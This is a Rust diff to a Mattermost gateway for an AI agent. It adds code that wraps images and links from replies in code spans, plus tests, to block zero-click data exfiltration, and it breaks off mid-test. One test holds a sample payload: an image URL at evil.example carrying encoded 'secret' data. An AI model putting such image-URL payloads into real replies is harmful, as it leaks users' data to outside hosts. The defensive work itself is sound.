diff --git a/crates/gatewayd/src/deliver.rs b/crates/gatewayd/src/deliver.rs index dcb3b24..8ec7548 100644 --- a/crates/gatewayd/src/deliver.rs +++ b/crates/gatewayd/src/deliver.rs @@ -10,6 +10,7 @@ use bxcore::{ write_frame, }; +use crate::links::{NOTICE, disarm}; use crate::mm::MmError; use crate::mm::rest::Client; use crate::sessions::{Batch, Thread}; @@ -33,7 +34,11 @@ impl Poster for Client { /// How a turn ended. #[derive(Debug, Clone, PartialEq, Eq)] pub enum Outcome { - Answer(String), + /// The reply, and whether its session has read untrusted content. + Answer { + content: String, + untrusted: bool, + }, Refused(WireError), /// `loop.sock` could not be reached or closed early; why, for the log. LoopDown(String), @@ -122,6 +127,25 @@ pub fn split_answer(text: &str) -> Vec { parts } +/// The posts of a reply: disarmed (M5b spec, section 9), then cut by `split_answer`. Each part is +/// disarmed again: a cut inside a fenced block leaves the rest of it as prose in the next post. +/// The last post ends with `NOTICE` if either pass put a link in a code span. +pub fn answer_posts(content: &str, untrusted: bool) -> Vec { + let whole = disarm(content, untrusted); + let mut links = whole.links; + let mut posts = Vec::new(); + for part in split_answer(&whole.text) { + let again = disarm(&part, untrusted); + links = links || again.links; + posts.push(again.text); + } + if links && let Some(last) = posts.last_mut() { + last.push_str("\n\n"); + last.push_str(NOTICE); + } + posts +} + /// Send one turn and read it to its end; `on_event` sees every event. fn one_turn( socket: &Path, @@ -157,8 +181,8 @@ fn one_turn( } // 3. `read_frame` until the end: (id 1, not final, TurnEvent) -> on_event; (1, final, TurnDone) - // -> Answer with its content; (1, final, Error) -> Refused; a read error -> LoopDown("the - // turn ended early: "); anything else -> LoopDown("an unexpected frame"). + // -> Answer with its content and untrusted; (1, final, Error) -> Refused; a read error -> + // LoopDown("the turn ended early: "); anything else -> LoopDown("an unexpected frame"). loop { let env = match read_frame(&mut stream) { Ok(env) => env, @@ -169,7 +193,12 @@ fn one_turn( } match (env.r#final, &env.msg) { (false, Message::TurnEvent(e)) => on_event(e), - (true, Message::TurnDone(d)) => return Outcome::Answer(d.content.clone()), + (true, Message::TurnDone(d)) => { + return Outcome::Answer { + content: d.content.clone(), + untrusted: d.untrusted, + }; + } (true, Message::Error(w)) => return Outcome::Refused(w.clone()), _ => return Outcome::LoopDown("an unexpected frame".to_string()), } @@ -209,7 +238,7 @@ pub fn deliver( ) { // Post in the batch thread. An ApprovalPending event waits up to `notice.wait` for `brokerd` to // bring the approval through `gateway.sock`; only when it does not, it posts the notice. Then: - // Answer -> every part of `split_answer`, in order; Refused -> `error_text`; + // Answer -> every post of `answer_posts`, in order; Refused -> `error_text`; // LoopDown(why) -> log "gatewayd: : " and post LOOP_DOWN. A post that fails is // logged, exactly "gatewayd: cannot post in (thread ): ", and the rest // goes on. @@ -222,8 +251,8 @@ pub fn deliver( }); match outcome { - Outcome::Answer(content) => { - for part in split_answer(&content) { + Outcome::Answer { content, untrusted } => { + for part in answer_posts(&content, untrusted) { post(poster, &batch.thread, part, log); } } diff --git a/crates/gatewayd/src/lib.rs b/crates/gatewayd/src/lib.rs index 0bde44c..6ef7f99 100644 --- a/crates/gatewayd/src/lib.rs +++ b/crates/gatewayd/src/lib.rs @@ -6,6 +6,7 @@ pub mod config; pub mod deliver; pub mod gateway; pub mod http; +pub mod links; pub mod mm; pub mod net; pub mod serve; diff --git a/crates/gatewayd/src/links/inline.rs b/crates/gatewayd/src/links/inline.rs new file mode 100644 index 0000000..6b4d457 --- /dev/null +++ b/crates/gatewayd/src/links/inline.rs @@ -0,0 +1,479 @@ +//! One paragraph of prose: code spans, escapes, images, links and URLs, left to right. + +use super::{BREAKS, Out, runs}; + +/// What marked lets a backslash escape. Other characters after a backslash are plain text. +const ESCAPABLE: &str = "\\`*{}[]()#+-.!_>|~"; + +/// What a URL loses at its end: marked leaves these out of a link when they end it. +const TRAILING: [char; 11] = ['.', ',', ':', ';', '!', '?', '*', '_', '~', '\'', '"']; + +/// How many characters a search for the end of a construct looks at, so that a reply full of +/// brackets costs time in proportion to its length. An image longer than this still has its `![` +/// put in a code span; a link longer than this keeps only its URL in one. +const WINDOW: usize = 2048; + +/// What a paragraph has shown so far that changes how its later code spans may pair. +#[derive(Default)] +struct Seen { + /// Backtick run lengths that may pair differently in the two parsers from here on. + hazards: Vec, + /// What would close what a plain character opened: marked lets emphasis (`*`, `_`, `~`), a + /// tag (`<`) and inline LaTeX (`$`) take a backtick before a code span starts. + closers: Vec, +} + +impl Seen { + /// Add to `hazards`, once each, every length from 1 to that of each backtick run in `text`: + /// marked may read part of a run as part of a URL, and the rest as a run of its own. + fn runs(&mut self, text: &str) { + for (_, len) in runs(text) { + for part in 1..=len { + if !self.hazards.contains(&part) { + self.hazards.push(part); + } + } + } + } + + /// A plain character: `*`, `_`, `~` and `$` are their own closers, and `<` is closed by `>`; + /// push the closer onto `closers` if it is not there yet. Any other character: nothing. + fn plain(&mut self, c: char) { + let closer = match c { + '*' | '_' | '~' | '$' => c, + '<' => '>', + _ => return, + }; + if !self.closers.contains(&closer) { + self.closers.push(closer); + } + } +} + +impl Out { + /// Write `para` with its images, and when `untrusted` its links and URLs, in code spans. + pub(super) fn paragraph(&mut self, para: &str, untrusted: bool) { + let mut seen = Seen::default(); + let mut prev = None; + let mut at = 0; + while let Some(rest) = para.get(at..).filter(|rest| !rest.is_empty()) { + let line_start = at == 0 || para.get(..at).is_some_and(|done| done.ends_with(BREAKS)); + match self.token(rest, prev, line_start, untrusted, &mut seen) { + Some(used) if used > 0 => { + at += used; + prev = None; + } + _ => { + let c = rest.chars().next().unwrap_or_default(); + self.text.push(c); + seen.plain(c); + at += c.len_utf8(); + prev = Some(c); + } + } + } + } + + /// Write the token `rest` starts with and give its length in bytes, or `None` when `rest` + /// starts with a plain character, which the caller writes. `prev` is the plain character + /// before, `None` after a token or at the start. + fn token( + &mut self, + rest: &str, + prev: Option, + line_start: bool, + untrusted: bool, + seen: &mut Seen, + ) -> Option { + if untrusted && line_start && definition(rest) { + let end = rest.find(BREAKS).unwrap_or(rest.len()); + return Some(self.link(rest, end, seen)); + } + match rest.chars().next()? { + '\\' => escape_len(rest).map(|len| self.copy(rest, len)), + '`' => Some(self.backticks(rest, seen)), + '!' if rest.starts_with("![") => { + // No `]` in reach: the `![` alone is enough to stop the image. + let len = construct_len(rest.get(1..)?, true).unwrap_or(1); + Some(self.image(rest, len + 1, seen)) + } + '[' => self.bracket(rest, untrusted, seen), + '<' => self.autolink(rest, untrusted, seen), + _ if url_start(rest, prev) => self.url(rest, untrusted, seen), + _ => None, + } + } + + /// A run of backticks: a code span both parsers read as code is written as it is; any other + /// run is written as plain text, and its length becomes a hazard. + fn backticks(&mut self, rest: &str, seen: &mut Seen) -> usize { + if let Some(len) = span_len(rest, seen) { + return self.copy(rest, len); + } + let run = rest.chars().take_while(|&c| c == '`').count(); + seen.runs(rest.get(..run).unwrap_or_default()); + self.copy(rest, run) + } + + /// A `[` that starts a link, `[text](…)` or `[text][…]`: see `construct`. Any other `[` is + /// written escaped if `](` follows within `WINDOW`: marked may still read a link from it, with + /// a label that takes in new code spans. + fn bracket(&mut self, rest: &str, untrusted: bool, seen: &mut Seen) -> Option { + let Some(len) = construct_len(rest, false) else { + if !window(rest).contains("](") { + return None; + } + self.text.push_str("\\["); + return Some(1); + }; + self.construct(rest, len, untrusted, seen) + } + + /// A `<` that starts an autolink: see `construct`. + fn autolink(&mut self, rest: &str, untrusted: bool, seen: &mut Seen) -> Option { + let len = autolink_len(rest)?; + self.construct(rest, len, untrusted, seen) + } + + /// A URL: see `construct`. In a clean reply it is the most marked may read as the URL + /// (`url_len` with `whole`), backticks included, since marked reads them as part of it. + fn url(&mut self, rest: &str, untrusted: bool, seen: &mut Seen) -> Option { + let len = url_len(rest, !untrusted); + self.construct(rest, len, untrusted, seen) + } + + /// The first `len` bytes of `rest`, a link, go in code spans when `untrusted`, and also in a + /// clean reply when they hold `![` (CommonMark may read the image where marked reads a link). + /// Otherwise they are written as they are. Marked may end the link sooner than this, so its + /// backtick runs become hazards, and each of its characters counts as `Seen::plain`. + fn construct( + &mut self, + rest: &str, + len: usize, + untrusted: bool, + seen: &mut Seen, + ) -> Option { + let construct = rest.get(..len)?; + if untrusted { + return Some(self.link(rest, len, seen)); + } + if construct.contains("![") { + return Some(self.image(rest, len, seen)); + } + seen.runs(construct); + construct.chars().for_each(|c| seen.plain(c)); + Some(self.copy(rest, len)) + } + + fn copy(&mut self, rest: &str, len: usize) -> usize { + self.text.push_str(rest.get(..len).unwrap_or_default()); + len + } + + fn image(&mut self, rest: &str, len: usize, seen: &Seen) -> usize { + self.wrap( + rest.get(..len).unwrap_or_default(), + rest.get(len..).unwrap_or_default(), + &seen.closers, + ); + len + } + + fn link(&mut self, rest: &str, len: usize, seen: &Seen) -> usize { + self.links = true; + self.image(rest, len, seen) + } +} + +/// `rest` starts with a backslash: `Some(2)` if the next character is one of `ESCAPABLE`, else +/// `None` (the backslash is plain). +fn escape_len(rest: &str) -> Option { + let mut chars = rest.chars(); + chars.next()?; + matches!(chars.next(), Some(c) if ESCAPABLE.contains(c)).then_some(2) +} + +/// `rest` starts with a run of `run` backticks. The span's length, `run + close + run`, if both +/// parsers read it as code: `run` is not in `seen.hazards`; `closing(after, run)` gives `close` +/// in the text `after` the run; and the content between holds no line end (`BREAKS`), no `|`, +/// none of `seen.closers`, and no run (`runs`) whose length is in `seen.hazards`. +fn span_len(rest: &str, seen: &Seen) -> Option { + let run = rest.chars().take_while(|&c| c == '`').count(); + if seen.hazards.contains(&run) { + return None; + } + let after = rest.get(run..)?; + let close = closing(after, run)?; + let content = after.get(..close).unwrap_or_default(); + if content.contains(BREAKS) + || content.contains('|') + || content.chars().any(|c| seen.closers.contains(&c)) + || runs(content) + .iter() + .any(|(_, len)| seen.hazards.contains(len)) + { + return None; + } + Some(run + close + run) +} + +/// The byte offset in `text` of the first run of exactly `run` backticks, if there is one. +fn closing(text: &str, run: usize) -> Option { + let mut start = 0; + let mut len = 0; + for (i, c) in text.char_indices() { + if c == '`' { + if len == 0 { + start = i; + } + len += 1; + } else if len > 0 { + if len == run { + return Some(start); + } + len = 0; + } + } + (len == run).then_some(start) +} + +/// At most the first `WINDOW` characters of `text`. +fn window(text: &str) -> &str { + match text.char_indices().nth(WINDOW) { + Some((end, _)) => text.get(..end).unwrap_or(text), + None => text, + } +} + +/// `text` starts with `[`; only `window(text)` is looked at. The label ends at +/// `bracket_end(text, true)`, or if that is `None`, `bracket_end(text, false)`. Right after it: a +/// `(` closed by `paren_end` gives the length through that `)`; or else, after white space +/// (`trim_start`), a `[` closed by `reference_end` gives it through that `]`; or else, only when +/// `bare` (an image may be `![alt]`), through the label's `]`. `None` if nothing fits. +fn construct_len(text: &str, bare: bool) -> Option { + let text = window(text); + let label_end = bracket_end(text, true).or_else(|| bracket_end(text, false))?; + let after = text.get(label_end + 1..).unwrap_or(""); + if after.starts_with('(') + && let Some(close) = paren_end(after) + { + return Some(label_end + 2 + close); + } + let trimmed = after.trim_start(); + if let Some(close) = reference_end(trimmed) { + let before = after.len() - trimmed.len(); + return Some(label_end + 2 + before + close); + } + if bare { + return Some(label_end + 1); + } + None +} + +/// `text` starts with `[`: the byte offset of the `]` that closes it. Walk it counting `[` up and +/// `]` down (to 0: found), skipping the character after each backslash. When `code`, a backtick +/// run jumps past the next run of the same length (`closing`), as a CommonMark code span; a run +/// with none is skipped as plain. `None` if no `]` closes it. +fn bracket_end(text: &str, code: bool) -> Option { + let mut depth = 0; + let mut i = 0; + while let Some(c) = text.get(i..).and_then(|s| s.chars().next()) { + let len = c.len_utf8(); + if c == '\\' { + let next = text.get(i + 1..).and_then(|s| s.chars().next())?; + i += 1 + next.len_utf8(); + } else if c == '[' { + depth += 1; + i += len; + } else if c == ']' { + depth -= 1; + if depth == 0 { + return Some(i); + } + i += len; + } else if code && c == '`' { + let run = text + .get(i..) + .unwrap_or("") + .chars() + .take_while(|&x| x == '`') + .count(); + i += run + closing(text.get(i + run..).unwrap_or(""), run).map_or(0, |j| j + run); + } else { + i += len; + } + } + None +} + +/// `text` starts with `(`: the byte offset of the `)` that closes it, counting `(` up and `)` down +/// (to 0: found). A backslash escapes nothing here, as in marked's link destinations. `None` if +/// no `)` closes it. +fn paren_end(text: &str) -> Option { + let mut depth = 0; + for (i, c) in text.char_indices() { + if c == '(' { + depth += 1; + } else if c == ')' { + depth -= 1; + if depth == 0 { + return Some(i); + } + } + } + None +} + +/// `text` starts with `[`: the byte index of the next `]`, skipping the character after each +/// backslash, if no `[` comes first (a reference label does not nest). `None` otherwise, and when +/// `text` does not start with `[`. +fn reference_end(text: &str) -> Option { + let mut chars = text.strip_prefix('[')?.char_indices(); + while let Some((i, c)) = chars.next() { + match c { + '\\' => { + chars.next(); + } + '[' => return None, + ']' => return Some(i + 1), + _ => {} + } + } + None +} + +/// `rest` starts with `<`: the length of the autolink it starts, `<` through the first `>` in +/// `window(rest)`, if the text between is not empty, holds no space, tab or no-break space (a line +/// end is allowed, as in marked), and holds `:` or `@` or starts with `www` in any case. +fn autolink_len(rest: &str) -> Option { + let end = window(rest).find('>')?; + let inside = rest.get(1..end)?; + if inside.is_empty() + || inside + .chars() + .any(|c| c == ' ' || c == '\t' || c == '\u{a0}') + { + return None; + } + let www = inside + .get(..3) + .is_some_and(|w| w.eq_ignore_ascii_case("www")); + if !inside.contains(':') && !inside.contains('@') && !www { + return None; + } + Some(end + 1) +} + +/// Whether the line `rest` starts (up to the first of `BREAKS`) is a link reference definition: +/// after white space (`trim_start`), `[`, then a label of at least one character with no `]` in +/// it, then `]:`. +fn definition(rest: &str) -> bool { + let line = rest.find(BREAKS).unwrap_or(rest.len()); + let trimmed = rest.get(..line).unwrap_or(rest).trim_start(); + let label_end = match reference_end(trimmed) { + Some(i) => i, + None => return false, + }; + if label_end < 2 { + return false; + } + trimmed + .get(label_end + 1..) + .is_some_and(|after| after.starts_with(':')) +} + +/// Whether a URL starts at `rest`, after the plain character `prev`: a `scheme` or `www` where +/// `prev` is not an ASCII letter or digit, or a `scheme_less` domain where `prev` is not a +/// letter, digit, `.` or `-`. `prev` is `None` at the start and after a token. +fn url_start(rest: &str, prev: Option) -> bool { + let word = prev.is_none_or(|p| !p.is_ascii_alphanumeric()); + let run = prev.is_none_or(|p| !(p.is_alphanumeric() || p == '.' || p == '-')); + (word && (scheme(rest) || www(rest))) || (run && scheme_less(rest)) +} + +/// Whether `rest` starts with a scheme: an ASCII letter, then ASCII letters, digits, `+`, `.` +/// or `-`, then `:` and a `/`, `%`, or letter or digit of any script. +fn scheme(rest: &str) -> bool { + rest.starts_with(|c: char| c.is_ascii_alphabetic()) + && rest + .trim_start_matches(|c: char| c.is_ascii_alphanumeric() || matches!(c, '+' | '.' | '-')) + .strip_prefix(':') + .and_then(|after| after.chars().next()) + .is_some_and(|c| c == '/' || c == '%' || c.is_alphanumeric()) +} + +/// Whether `rest` starts with `www` in any case, then ASCII digits (none or more), then `.` and a +/// character that is not white space. +fn www(rest: &str) -> bool { + rest.get(..3).is_some_and(|w| w.eq_ignore_ascii_case("www")) + && rest + .get(3..) + .unwrap_or_default() + .trim_start_matches(|c: char| c.is_ascii_digit()) + .strip_prefix('.') + .and_then(|after| after.chars().next()) + .is_some_and(|c| !c.is_whitespace()) +} + +/// Whether `rest` starts with a domain and a `/` (marked links `example.com/x` bare): a run of +/// letters, digits, `.` and `-`, whose part after its last `.` is 2 to 4 letters with something +/// before it, then `/`. +fn scheme_less(rest: &str) -> bool { + let end = rest + .find(|c: char| !(c.is_alphanumeric() || c == '.' || c == '-')) + .unwrap_or(rest.len()); + let (Some(host), Some(after)) = (rest.get(..end), rest.get(end..)) else { + return false; + }; + let Some((name, tld)) = host.rsplit_once('.') else { + return false; + }; + after.starts_with('/') + && !name.is_empty() + && (2..=4).contains(&tld.chars().count()) + && tld.chars().all(char::is_alphabetic) +} + +/// The length of the URL `rest` starts with: up to white space, a `)` that closes no `(` of the +/// URL (count them), or a `<` before white space, `(`, `)`, `<`, `>` or the end (marked leaves it +/// out: it may start an autolink); unless `whole`, up to any `<`, `>`, `|` or backtick too. Then +/// less the characters of `TRAILING` at its end. `whole` is the most marked may read as the URL. +fn url_len(rest: &str, whole: bool) -> usize { + let mut depth = 0; + let mut gt_seen = false; + let mut end = rest.len(); + for (i, c) in rest.char_indices() { + if c.is_whitespace() { + end = i; + break; + } + if !whole && (c == '<' || c == '>' || c == '|' || c == '`') { + end = i; + break; + } + match c { + '(' => depth += 1, + ')' if depth == 0 => { + end = i; + break; + } + ')' => depth -= 1, + '<' if depth == 0 && !gt_seen => { + end = i; + break; + } + '>' => gt_seen = true, + _ => {} + } + } + while let Some(last) = rest + .get(..end) + .and_then(|prefix| prefix.chars().next_back()) + { + if !TRAILING.contains(&last) { + break; + } + end -= last.len_utf8(); + } + end +} diff --git a/crates/gatewayd/src/links/mod.rs b/crates/gatewayd/src/links/mod.rs new file mode 100644 index 0000000..7cd3fa3 --- /dev/null +++ b/crates/gatewayd/src/links/mod.rs @@ -0,0 +1,284 @@ +//! Images and links in a reply (M5b spec, section 9). Mattermost fetches a post's images when it +//! is posted (the server) and when it is shown (each client: the owner's server has no image +//! proxy), and the server previews the first plain URL. Either fetch can carry data out in its +//! URL, with no click. A code span stops both. So `disarm` puts every image in a code span, +//! always, and in a reply from a session that has read untrusted content, every link and URL too. +//! +//! Two parsers read a post: the server's, which follows CommonMark, and the clients' fork of +//! marked (`mattermost/marked`), which has rules of its own. Text is left as it is only where both +//! read it as code. Where they may differ, it is read as prose, and an image or URL in it goes in +//! a code span: the reply may show a few backticks, but nothing in it is fetched. The rules are +//! in the functions below, each with the case it covers. +//! +//! Not covered, both in marked alone and both only a link, which needs a click: a link label may +//! pair backtick runs of different lengths across new code spans, and an autolink may run across +//! the lines of a quote or list item. + +mod inline; + +/// The line that ends a reply whose links were put in code spans. +pub const NOTICE: &str = + "Links in this reply are shown as code because this conversation has read untrusted content."; + +/// The characters that end a line: marked reads `\r` and U+2424 as line feeds, and `\r\n` is one. +const BREAKS: [char; 3] = ['\n', '\r', '\u{2424}']; + +/// A reply after `disarm`: its text, and whether a link or URL was put in a code span. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Disarmed { + pub text: String, + pub links: bool, +} + +/// The text being written, and the length of the backtick runs its new code spans use: longer +/// than any run in the reply, so a new span pairs with nothing the reply already holds. +struct Out { + text: String, + ticks: usize, + links: bool, +} + +/// `text` with every image in a code span, and when `untrusted`, every link and URL as well. +/// Code the reply already holds is left as it is, and so is everything else. +pub fn disarm(text: &str, untrusted: bool) -> Disarmed { + let longest = runs(text).into_iter().map(|(_, len)| len).max(); + let mut out = Out { + text: String::with_capacity(text.len()), + ticks: longest.unwrap_or(0) + 1, + links: false, + }; + let lines = lines(text); + // `html`: a line so far may start an HTML block, which can swallow a fence (marked). + // `nested`: the lines since the last empty one hold a list item or a quote, which a fence + // may continue; marked may then end the item inside the fence (at an empty line, a rule, a + // definition or the next item), and CommonMark may end it at the fence. + let (mut html, mut nested) = (false, false); + let (mut prose, mut at) = (0, 0); + while let Some(line) = lines.get(at) { + let closer = if html || nested { + None + } else { + fence_end(&lines, at) + }; + if let Some(end) = closer { + out.prose(lines.get(prose..at).unwrap_or_default(), untrusted); + for line in lines.get(at..=end).unwrap_or_default() { + out.text.push_str(line); + } + (at, prose, nested) = (end + 1, end + 1, false); + } else { + html = html || html_start(line); + nested = !content(line).is_empty() && (nested || nested_start(line)); + at += 1; + } + } + out.prose(lines.get(prose..).unwrap_or_default(), untrusted); + Disarmed { + text: out.text, + links: out.links, + } +} + +impl Out { + /// Lines outside fenced blocks, one paragraph at a time: an empty line ends one. A line of + /// spaces does not, since marked reads it as part of the paragraph. + fn prose(&mut self, lines: &[&str], untrusted: bool) { + let mut paragraph = String::new(); + for line in lines { + if content(line).is_empty() { + self.paragraph(¶graph, untrusted); + paragraph.clear(); + self.text.push_str(line); + } else { + paragraph.push_str(line); + } + } + self.paragraph(¶graph, untrusted); + } + + /// Write `construct` as code spans (`code`), one per piece between split characters, each + /// split character written after its piece: a line end (`BREAKS`) or `|` (a table cell ends + /// there, even in a code span) as it is; a backtick or one of `closers` after a backslash, + /// except `$` (marked does not escape it), so that nothing before can pair with it. Last, a + /// space if `after` starts with a backtick: runs that touch would merge. + fn wrap(&mut self, construct: &str, after: &str, closers: &[char]) { + let mut start = 0; + let mut chars = construct.char_indices().peekable(); + while let Some((i, c)) = chars.next() { + let len = if BREAKS.contains(&c) { + match c { + '\r' if chars.peek().map(|&(_, n)| n == '\n').unwrap_or(false) => { + // Consume the `\n`: leaving it in the iterator would write it again. + chars.next(); + 2 + } + _ => c.len_utf8(), + } + } else if c == '|' || c == '`' || closers.contains(&c) { + c.len_utf8() + } else { + continue; + }; + self.code(construct.get(start..i).unwrap_or_default()); + if c == '`' || (closers.contains(&c) && c != '$') { + self.text.push('\\'); + } + self.text + .push_str(construct.get(i..i + len).unwrap_or_default()); + start = i + len; + } + self.code(construct.get(start..).unwrap_or_default()); + if after.starts_with('`') { + self.text.push(' '); + } + } + + /// One piece as a code span: `self.ticks` backticks, the piece, as many again. An empty piece, + /// or one of only white space (`trim().is_empty()`), is written as it is. Before the span, a + /// space, unless the text so far is empty or ends with white space: marked reads backticks as + /// part of a URL they touch, a backtick would merge with the run, a backslash escape it. + fn code(&mut self, piece: &str) { + if piece.trim().is_empty() { + self.text.push_str(piece); + return; + } + if !self.text.is_empty() && !self.text.ends_with(|c: char| c.is_whitespace()) { + self.text.push(' '); + } + self.text.push_str(&"`".repeat(self.ticks)); + self.text.push_str(piece); + self.text.push_str(&"`".repeat(self.ticks)); + } +} + +/// `text` cut after each line end (`\r\n`, `\n`, `\r` or U+2424), each line keeping its end; +/// the last line may have none. An empty `text` gives no lines. +fn lines(text: &str) -> Vec<&str> { + let mut lines = Vec::new(); + let mut start = 0; + let mut chars = text.char_indices().peekable(); + while let Some((i, c)) = chars.next() { + let end = match c { + '\r' if chars.next_if(|&(_, next)| next == '\n').is_some() => i + 2, + '\n' | '\r' | '\u{2424}' => i + c.len_utf8(), + _ => continue, + }; + lines.push(text.get(start..end).unwrap_or_default()); + start = end; + } + if start < text.len() { + lines.push(text.get(start..).unwrap_or_default()); + } + lines +} + +/// A line without its line end. +fn content(line: &str) -> &str { + line.trim_end_matches(BREAKS) +} + +/// Each run of backticks in `text` (a run is as long as it goes), as (byte offset, length). +fn runs(text: &str) -> Vec<(usize, usize)> { + let mut found: Vec<(usize, usize)> = Vec::new(); + let mut last_end = None; + for (i, c) in text.char_indices() { + if c != '`' { + continue; + } + match found.last_mut() { + Some(run) if last_end == Some(i) => run.1 += 1, + _ => found.push((i, 1)), + } + last_end = Some(i + 1); + } + found +} + +/// Whether the line may start an HTML block: after white space, ASCII digits and the characters +/// `>-*+.)` of list and quote markers at its start (`trim_start_matches`), it starts with `<` and +/// an ASCII letter or `/`. +fn html_start(line: &str) -> bool { + let trimmed = line.trim_start_matches(|c: char| c.is_whitespace() || ">-*+.)".contains(c)); + let mut chars = trimmed.chars(); + matches!(chars.next(), Some('<')) + && matches!(chars.next(), Some(c) if c.is_ascii_alphabetic() || c == '/') +} + +/// Whether the line starts like a list item or a quote: the first character of +/// `content(line).trim_start()` is `>`, `-`, `*`, `+` or an ASCII digit. +fn nested_start(line: &str) -> bool { + let first = content(line).trim_start().chars().next(); + matches!(first, Some('>' | '-' | '*' | '+' | '0'..='9')) +} + +/// The index of the line that closes the fenced block `lines[at]` opens: `opener` gives +/// `(indent, run)`, else `None`. Then for each later line `i`, in order: if `closes(line, run)`, +/// `Some(i)`; else if its `content` is not empty and starts with fewer than `indent` spaces, +/// `None` (it leaves a list item in CommonMark, and the block with it). No closer: `None`, since +/// marked reads an unclosed fence as code only at times. +fn fence_end(lines: &[&str], at: usize) -> Option { + let (indent, run) = opener(lines[at])?; + let mut i = at + 1; + while let Some(line) = lines.get(i) { + if closes(line, run) { + return Some(i); + } + if !content(line).is_empty() + && content(line).chars().take_while(|&c| c == ' ').count() < indent + { + return None; + } + i += 1; + } + None +} + +/// If the line opens a fenced block, its indent and run. In its `content`: up to 3 spaces (the +/// indent), then the run, 3 or more of one character, a backtick or `~`; the rest of the line (the +/// info) holds no backtick, `~` or `|` (a `|` can make it a table row in marked). Else `None`. +fn opener(line: &str) -> Option<(usize, &str)> { + let text = content(line); + let indent = text.chars().take_while(|&c| c == ' ').count(); + if indent > 3 { + return None; + } + let after_indent = text.get(indent..)?; + let run_char = after_indent.chars().next()?; + if run_char != '`' && run_char != '~' { + return None; + } + let run_len = after_indent.chars().take_while(|&c| c == run_char).count(); + if run_len < 3 { + return None; + } + let rest = after_indent.get(run_len..)?; + if rest.contains(['`', '~', '|']) { + return None; + } + Some((indent, after_indent.get(..run_len)?)) +} + +/// Whether the line closes a block opened with `run`, as marked decides: its `content` starts +/// with at most 3 characters that are spaces or no-break spaces (U+00A0), then `run`; after that +/// come only backticks and `~`, then only spaces, tabs or no-break spaces. +fn closes(line: &str, run: &str) -> bool { + let text = content(line); + let leading = text + .chars() + .take_while(|&c| c == ' ' || c == '\u{a0}') + .count(); + if leading > 3 { + return false; + } + let Some(after) = text.get(leading..) else { + return false; + }; + if !after.starts_with(run) { + return false; + } + let rest = after.get(run.len()..).unwrap_or(""); + let after_ticks = rest.trim_start_matches(['`', '~']); + after_ticks + .chars() + .all(|c| c == ' ' || c == '\t' || c == '\u{a0}') +} diff --git a/crates/gatewayd/tests/deliver_links.rs b/crates/gatewayd/tests/deliver_links.rs new file mode 100644 index 0000000..81690eb --- /dev/null +++ b/crates/gatewayd/tests/deliver_links.rs @@ -0,0 +1,196 @@ +//! A reply's images and links as `deliver` posts them, against a fake `loopd` whose `TurnDone` +//! says whether the session has read untrusted content; and `answer_posts` on replies long enough +//! to be split (M5b spec, section 9). Do not edit. + +#[path = "support/fake_loop.rs"] +mod fake_loop; +#[path = "support/tmp.rs"] +mod tmp; + +use std::sync::Mutex; +use std::time::Duration; + +use bxcore::{Envelope, Message, PROTOCOL_VERSION, SessionId, TurnDone, Usage}; +use fake_loop::{Reply, done, serve_loop}; +use gatewayd::deliver::{EMPTY_ANSWER, MAX_POST, Notice, Poster, answer_posts, deliver}; +use gatewayd::links::NOTICE; +use gatewayd::mm::MmError; +use gatewayd::sessions::{Batch, Thread}; +use tmp::TempDir; + +const DM: &str = "d0000000000000000000000000"; +const ROOT: &str = "r0000000000000000000000000"; + +#[derive(Default)] +struct Record { + posts: Mutex>, +} + +impl Poster for Record { + fn post(&self, channel: &str, root: &str, text: &str) -> Result<(), MmError> { + assert_eq!((channel, root), (DM, ROOT), "every post in the thread"); + self.posts.lock().unwrap().push(text.to_string()); + Ok(()) + } +} + +/// The frame that ends a turn of a session that has read untrusted content. +fn done_untrusted(content: &str) -> Reply { + let msg = Message::TurnDone(TurnDone { + content: content.to_string(), + usage: Usage { + cache_n: 0, + prompt_n: 1, + predicted_n: 1, + reasoning_tokens: 0, + thinking_capped: false, + }, + untrusted: true, + }); + Reply::Frame(Envelope { + v: PROTOCOL_VERSION, + id: 1, + r#final: true, + msg, + }) +} + +/// One turn against a fake `loopd` that ends it with `reply`; the posts, in order. +fn posts(tag: &str, reply: fn(&str) -> Reply, content: &'static str) -> Vec { + let dir = TempDir::new(tag); + let socket = dir.path().join("loop.sock"); + let turns = serve_loop(&socket, move |_, _| vec![reply(content)]); + let batch = Batch { + session: SessionId::new(&format!("mm-{ROOT}")).unwrap(), + thread: Thread { + channel: DM.to_string(), + root: ROOT.to_string(), + }, + resume: false, + text: "hi".to_string(), + }; + let never = |_: u64| false; + let notice = Notice { + posted: &never, + wait: Duration::ZERO, + }; + let record = Record::default(); + let log = Mutex::new(Vec::new()); + deliver( + &record, + &socket, + &batch, + &|line| log.lock().unwrap().push(line.to_string()), + ¬ice, + ); + turns.recv_timeout(Duration::from_secs(5)).unwrap(); + assert!(log.lock().unwrap().is_empty(), "{:?}", log.lock().unwrap()); + record.posts.into_inner().unwrap() +} + +const LINKED: &str = "See [the docs](https://docs.example/p) and https://b.example/x."; + +#[test] +fn an_untrusted_reply_posts_its_links_as_code_and_ends_with_the_notice() { + assert_eq!( + posts("links-untrusted", done_untrusted, LINKED), + [format!( + "See `[the docs](https://docs.example/p)` and `https://b.example/x`.\n\n{NOTICE}" + )] + ); +} + +#[test] +fn a_clean_reply_keeps_its_links() { + assert_eq!(posts("links-clean", done, LINKED), [LINKED]); +} + +#[test] +fn an_image_that_carries_data_is_posted_as_text_in_a_clean_reply() { + assert_eq!( + posts( + "links-image", + done, + "Summary done. ![s](https://evil.example/p.png?d=c2VjcmV0)" + ), + ["Summary done. `![s](https://evil.example/p.png?d=c2VjcmV0)`"] + ); +} + +#[test] +fn an_untrusted_reply_with_only_an_image_has_no_notice() { + assert_eq!( + posts( + "links-only-image", + done_untrusted, + "![s](https://e.example/a)" + ), + ["`![s](https://e.example/a)`"] + ); +} + +#[test] +fn code_in_an_untrusted_reply_is_left_and_needs_no_notice() { + let text = "Run `curl https://example.com/x`:\n```\nhttps://example.com/y\n```"; + assert_eq!(posts("links-code", done_untrusted, text), [text]); +} + +#[test] +fn a_long_untrusted_reply_has_one_notice_at_its_end() { + let content = format!( + "https://a.example/1\n{}\nhttps://b.example/2", + "x".repeat(MAX_POST - 10) + ); + let posts = answer_posts(&content, true); + assert_eq!( + posts, + [ + "`https://a.example/1`".to_string(), + "x".repeat(MAX_POST - 10), + format!("`https://b.example/2`\n\n{NOTICE}"), + ] + ); +} + +#[test] +fn a_part_that_starts_inside_a_fence_is_disarmed_again() { + let content = format!( + "```\n{}\n{}\n![i](https://e.example/a)\n```", + "y".repeat(10_000), + 